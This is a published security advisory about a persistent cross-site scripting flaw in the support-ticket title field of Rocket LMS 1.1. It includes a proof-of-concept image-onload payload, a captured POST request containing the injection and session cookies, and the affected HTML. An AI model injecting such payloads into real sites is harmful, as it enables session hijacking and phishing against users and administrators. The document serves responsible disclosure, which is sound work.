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# Exploit Title: Rocket LMS 1.1 - Persistent Cross Site Scripting (XSS)
# Exploit Author: Vulnerability-Lab
# Date: 29/12/2021

Document Title:
===============
Rocket LMS 1.1 - Persistent Cross Site Scripting (XSS)


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2305


Release Date:
=============
2021-12-29


Vulnerability Laboratory ID (VL-ID):
====================================
2305


Common Vulnerability Scoring System:
====================================
5.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Rocket LMS is an online course marketplace with a pile of features that helps you to run your online education business easily.
This product helps instructors and students to get in touch together and share knowledge. Instructors will be able to create
unlimited video courses, live classes, text courses, projects, quizzes, files, etc and students will be able to use the
educational material and increase their skill level. Rocket LMS is based on real business needs, cultural differences,
advanced user researches so the product covers your business requirements efficiently.

(Copy of the Homepage:https://lms.rocket-soft.org/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the Rocket LMS v1.1 cms.


Affected Product(s):
====================
Rocketsoft
Product: Rocket LMS v1.1 - eLearning Platform CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-03: Researcher Notification & Coordination (Security Researcher)
2021-09-04: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-12-29: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Rocket LMS v1.1 cms web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The vulnerability is located in the support ticket message body. The message body does not sanitize the input of message.
Remote attackers with low privileged application user accounts are able to inject own malicious script code with persistent
attack vector. The request method to inject is post. After the inject the message a displayed again for the user and the
backend for the support (admin). The issue can be exploited by organization, student and instructor account roles.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] conversations Support - New Ticket

Vulnerable Input(s):
[+] Subject

Vulnerable Parameter(s):
[+] title

Affected Module(s):
[+] Messages History


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.


PoC: Payload
<img src="evil.source" onload="alert(document.domain)"></img>


--- PoC Session Logs (POST) ---
https://lms.rocket-soft.org/panel/support/store
Host: lms.rocket-soft.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 271
Origin:https://lms.rocket-soft.org
Connection: keep-alive
Referer:https://lms.rocket-soft.org/panel/support/new
Cookie: webinar_session=eyJpdiI6ImNUeG9hcmFEbXFUSGxZd0NOZ3J6R0E9PSIsInZhbHVlIjoiWXFSOGRXYWFHcUUvc0VuNUpzanhBZjdBc21lRy8xaEhTU0hQTnk2YWlJM1ZHYkxXdzc3
T3U2Nm9yMEI3b2o2QmtCT2NjdEkyRVNwdlhWUjgwY0ZHWkNyVHJSdnBCck8vVWo4MFVsK2JvLzRDUm1BRm5zU2Y0SWZWdGR1b29keWwiLCJtYWMiOiIxODI3NDQ2OTcxZDMwNjA0M2U0
OGM3YzZmNmMzM2Y1OTk5ZTNiZTIzY2E2ZGQxMTlkYzY2YzY0Y2M5OTI5MTc5In0%3D; TawkConnectionTime=0; __tawkuuid=e::lms.rocket-soft.org::W9t6jOO76CukDtw
wAughTc4sTzqsd2xAqZJpiyabjsp3sI9le/SuCBxWz7ekNzR0::2; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6Ik9iUEZFNlZBYjJSOEVjSE1hRlNiZFE9PSIsInZhbHVlIjoiR3F1RWFsb01KREQ2K05FaG5MT1hST1
pYNmx3Z3ZoU2lDOXBQL3h3aVg0T2k2a1YwVDZYR25nUnNCOXhsWjZnWjcrQTJxUzhEa3k2N1VEdjZkZGJFMXg3Q0pIWGx6VUZwajJGc09DdUlzaFpwb0t2SHJoaHkvQmh3bTJPM0RlWVh
SRGszUlRqUVJNdlErMXpXYU5hZWlySWVrMktwZmp4RzNMSXV2TnAzTlFpQUhRalNKSmw2elhzVURqWVpqQlpkajAvUzBPcTV0Z0tXaFRFNkpmLy94TkFxa3dxdjlnOWk4VWpSRzMzeUVa
UT0iLCJtYWMiOiJkMmQ3ZTk4NzllOTQ3ZTU4ZGRjMTljMjlkMzRkODhjMmI0Mzk5MjM1ZmJlYTc1NTAxYzI2OGI3YmMwMDczMmQxIn0%3D
_token=3CmMP45TwUNoeNVPzZ4JuGunKoFqcUxbDWliz9rg&title=test1"><img src="evil.source" onload=alert(document.domain)></img>&type=course_support&webinar_id=1996&message=test2&attach=
-
POST: HTTP/1.1 302 Found
Server: Apache/2
X-Powered-By: PHP/7.4.20
Location:https://lms.rocket-soft.org/panel/support
Set-Cookie:
webinar_session=eyJpdiI6Im5OVER1cno1OXJmQnRRb3QycHExN1E9PSIsInZhbHVlIjoiOGxXdHV5em95bGh0ejh3MXlRT3dwSXFGcUZzSmMzbHlJd2xFRDhweEFBS25JeFFrMzF2Wn
lLdHc0MUpFQmN1cDY3SUE1V0hwVGRDUGZvRkRYZVYvY01BZ2NxT1NJWThXQnRiNnR3SDJ4TEZ5Q3BQUnZhR1lxUHZnR2hhLzEzSysiLCJtYWMiOiI1YjBlMmVjMjYwYjEzODVhZTJmZWZj
YTlmMGJjMThkYzQ0ZjVmNjI0NTA1MGMxM2Q3ZGVlYjlhOGJkZTY3NmM0In0%3D; Max-Age=7200; path=/; httponly; samesite=lax
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: origin, x-requested-with, content-type
Access-Control-Allow-Methods: PUT, GET, POST, DELETE, OPTIONS
Content-Length: 210
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


Vulnerable Source: conversations Support - New Ticket - Messages History
<div class="rounded-sm mt-15 border panel-shadow p-15">
<div class="d-flex align-items-center justify-content-between pb-20 border-bottom border-gray300">
<div class="user-inline-avatar d-flex align-items-center">
<div class="avatar">
<img src="/store/995/60dce9eb4290c.png" class="img-cover" alt="">
</div>
<div class="ml-10">
<span class="d-block text-dark-blue font-14 font-weight-500">Cameron Schofield</span>
<span class="mt-1 font-12 text-gray d-block">user</span>
</div></div>
<div class="d-flex flex-column align-items-end">
<span class="font-12 text-gray">2021 Sep 9 | 12:58</span>
</div></div>
<p class="text-gray mt-15 font-weight-500 font-14">"<img src="evil.source" onload="alert(document.domain)"></img></p>
</div>


Reference(s):
https://lms.rocket-soft.org/
https://lms.rocket-soft.org/panel/
https://lms.rocket-soft.org/panel/support
https://lms.rocket-soft.org/panel/support/new
https://lms.rocket-soft.org/panel/support/[id]/conversations


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
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